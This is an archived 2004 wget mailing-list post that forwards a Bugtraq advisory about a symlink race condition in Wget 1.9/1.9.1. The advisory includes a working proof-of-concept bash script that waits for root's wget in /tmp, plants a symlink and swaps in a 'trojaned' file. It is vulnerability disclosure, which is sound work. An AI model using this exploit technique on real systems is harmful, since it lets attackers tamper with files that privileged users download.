[prev in list] [next in list] [prev in thread] [next in thread]
List: wget
Subject: Wget race condition vulnerability (fwd)
From: Daniel Stenberg <daniel () haxx ! se>
Date: 2004-05-17 20:55:05
Message-ID: Pine.LNX.4.58.0405172254230.2820 () linux3 ! contactor ! se
[Download RAW message or body]
I found this on the bugtraq mailing list and since I haven't seen it discussed
here, I thought it could be informative.
--
-=- Daniel Stenberg -=- http://daniel.haxx.se -=-
ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
---------- Forwarded message ----------
Date: 16 May 2004 23:28:47 -0000
From: Hugo Vázquez Caramés <overclocking_a_la_abuela@hotmail.com>
To: bugtraq@securityfocus.com
Subject: Wget race condition vulnerability
Tested software: Wget 1.9, Wget 1.9.1
Wget checks for the presence of a file with the same name of the one invoqued at the \
command line, if the file exists, then it saves the downloaded file with a different \
name. The problem is that Wget does not lock the file, and directly writes to it. So \
there's a window time where Wget is exposed to a symlink attack (only on world \
writable directories)
This is the attack sequence:
1) Wget process starts
2) File checking (but not locking!)
<--- attacker creates symlink
3) Wget writes on the wrong place
As a P.o.C. here you have a very simple script that exploits this flaw with an attack \
I have called: "file hijacking".
1)Open a shell and execute wget_race.sh with user A.
2)Open another shell and with root user launch wget from /tmp:
wget http://www.kernel.org/pub/linux/kernel/v2.4/patch-2.4.26.bz2
3) Check the content of /tmp/patch-2.4.26.bz2
Smile :-)
--------------- wget_race.sh ------------------------
#!/bin/bash
rm -f salida.txt pid.txt *.wget /tmp/patch-2.4.26.bz2
echo "1">salida.txt
a=`cat salida.txt`
echo "Waiting for Wget execution..."
while [ "$a" == 1 ]
do
ps auxw|grep wget|grep patch-2.4.26.bz2>>salida.txt
a=`cat salida.txt`
done
echo "Process catched!"
pgrep -u root wget>pid.txt
ln -s /dev/null /tmp/patch-2.4.26.bz2
echo "/dev/null link created!"
echo "Waiting for downloading to finish..."
b=`pgrep -u root wget`
touch $b.wget
c=1
while [ "$c" == 1 ]
do
if [ -e .wget ]
then
c=0
echo "Downloading finished! Let's delete the original file, and put our trojaned \
file :-)" rm -f /tmp/patch-2.4.26.bz2
echo "Surprise!">/tmp/patch-2.4.26.bz2
echo "Does it worked?"
ls -la /tmp/patch-2.4.26.bz2
else
b=`pgrep -u root wget`
touch $b.wget
fi
done
-----------------------------------------------------
This flaw open a wide range of attack vectors.
Any program wich runs wget from a world writable directory is vulnerable.
Hugo Vazquez Caramés
hugo@infohacking.com
[prev in list] [next in list] [prev in thread] [next in thread]
Configure |
About |
News |
Add a list |
Sponsored by KoreLogic